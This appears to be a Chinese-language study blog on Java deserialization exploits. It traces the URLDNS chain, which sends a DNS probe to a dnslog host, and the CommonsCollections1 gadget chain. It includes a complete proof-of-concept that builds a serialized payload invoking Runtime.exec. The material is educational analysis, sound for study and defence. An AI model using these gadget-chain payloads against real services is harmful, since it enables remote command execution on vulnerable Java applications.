java反序列化漏洞学习记录

对近期java反序列化漏洞学习做个记录

URLDNS

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package ysoserial.test.mytest;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://srpt8e.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xaaaabbbb);
hashMap.put(url, "hello");
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("temp.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("temp.bin"));
ois.readObject();
System.out.println("called");
}
}

调试下查看利用链

首先来到HashMap类中的readObject方法,其中调用了putVal方法

1

该方法中调用了hash方法

2

接着调用了hashCode方法

3

接着调用了URLStreamHandler类中的hashCode方法

4

接着调用了URLStreamHandler类中的getHostAddress方法

5

接着调用了getByName方法,该方法是用来在给定主机名的情况下确定主机的IP地址的,也就意味着执行了一次DNS查询,在DNSLOG平台上确实也留下了查询记录

7

最后总结下链的触发过程

1
2
3
4
(HashMap)->readObject->putVal->hash
(URL)->hashCode
(URLStreamHandler)->hashCode->getHostAddress
(InetAddress)->getByName

CommonsCollections1

使用ysoserial中的payload进行分析,payload中给出了利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

接着我们来跟一下这条链,首先看一下poc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map mapProxy = (Map)Proxy.newProxyInstance(test.class.getClassLoader(),outerMap.getClass().getInterfaces(),handler);
Constructor<?> outPro = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
outPro.setAccessible(true);
InvocationHandler out =(InvocationHandler) outPro.newInstance(Retention.class,mapProxy);
FileOutputStream fo = new FileOutputStream(new File("poc.ser"));
ObjectOutputStream obj = new ObjectOutputStream(fo);
obj.writeObject(out);
obj.close();
}
}

当反序列化时首先会触发ObjectInputStream.readObject(),由于AnnotationInvocationHandler中重写了readobject方法,接着会调用AnnotationInvocationHandler.readObject()

8

该处的this.memberValuesmapProxy动态代理,在352行调用了entrySet方法,这会触发动态代理,从而执行AnnotationInvocationHandler.invoke()方法

9

这个时候this.memberValues是一个LazyMap实例,在78行处自然调用了LazyMap.get()

10

其中this.factory再此处是一个ChainedTransformer实例,在59行会调用ChainedTransformer.transform()方法,该方法会按顺序执行我们设置的transformer,在该处即为我们poc中的该段代码

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe" }),
};

该段代码主要是利用了InvokerTransformer利用反射机制可以调用任意函数的特性,实现了对java.lang.Runtime 类中exec方法的调用,进而执行任意命令

坚持原创技术分享,您的支持将鼓励我继续创作!